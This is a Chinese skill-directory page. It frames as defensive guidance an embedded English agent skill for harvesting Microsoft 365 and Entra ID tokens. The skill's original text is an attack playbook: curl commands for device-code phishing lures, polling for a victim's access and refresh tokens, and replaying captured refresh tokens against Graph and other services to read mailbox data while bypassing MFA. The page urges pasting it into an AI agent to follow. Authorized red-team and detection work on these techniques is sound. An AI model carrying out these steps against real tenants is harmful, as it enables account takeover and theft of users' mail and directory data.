o365-credential-harvest
它能做什么
本指南介绍攻击者在 Microsoft 365 和 Entra ID 中利用的登录模式,他们无需伪造密码页面就能获取令牌。适用于保护 Microsoft 租户的身份和安全团队。
适用场景
- ✓当身份团队想检查不需要设备代码登录的用户是否仍被允许使用该方式时。
- ✓当团队想为异常的令牌使用或新设备登录设置提醒时。
- ✓当经授权的测试检查令牌被盗后能否被及时发现时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们能否在 Microsoft 365 中为大多数用户禁用设备代码登录,同时不影响我们的应用?请帮我检查一下当前设置。”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会检查登录和条件访问设置,列出允许设备代码流程的位置,并建议用于拦截或检测滥用行为的策略和提醒。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
O365 / Entra Credential & Token Harvest
Two Microsoft-identity initial-access paths that avoid a fake password page: the device-code flow and token replay. Both are favored because the victim authenticates on the genuine Microsoft endpoint.
Device-code flow
The attacker requests a device code; the victim is social-engineered
to enter it at the real microsoft.com/devicelogin. After they
complete sign-in (MFA included), the attacker polls and receives
access + refresh tokens.
TENANT=common
CLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c # Office client id (example)
# 1. request a device code
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \
-d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json
# -> user_code + verification_uri go into the lure ("enter this code at ...")
# 2. poll for the token after the victim signs in
DC=$(jq -r .device_code dc.json)
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"
Token replay (TokenTactics pattern)
A refresh token captured here (or via evilginx2-proxy) is exchanged
for access tokens against Graph, Outlook, SharePoint, Teams — each a
distinct resource scope — without re-auth.
RT=<captured-refresh-token>
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \
-d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"
# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com
Validate
A token is interesting; a Graph call returning the victim's mailbox /
directory data is the finding:
curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me.
Evidence
Tokens → Credential nodes (type oauth-token, with scope + expiry)
linked to the User node. Store ONLY under evidence/phisher/ + the
knowledge graph.
RoE / OPSEC
- Device-code lures still require the
lure-deconflictionhandshake. - Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.
- NEVER read more mailbox/Graph data than the objective requires;
abide by
plan/roe.json:data_handling.
常见问题
什么是设备代码登录?
这是一种供没有键盘的设备使用的登录方式,攻击者可以诱骗用户输入代码,从而加以利用。
令牌重放是什么意思?
指重复使用被截获的令牌访问其他 Microsoft 服务,而无需再次登录。
应该监控哪些内容?
异常的登录来源、新设备上的令牌使用,以及未预料到的设备代码登录。
详情
作者的原始描述
Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.
热度
- GitHub 星标
- 6.5k
- 排名
- #14121
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …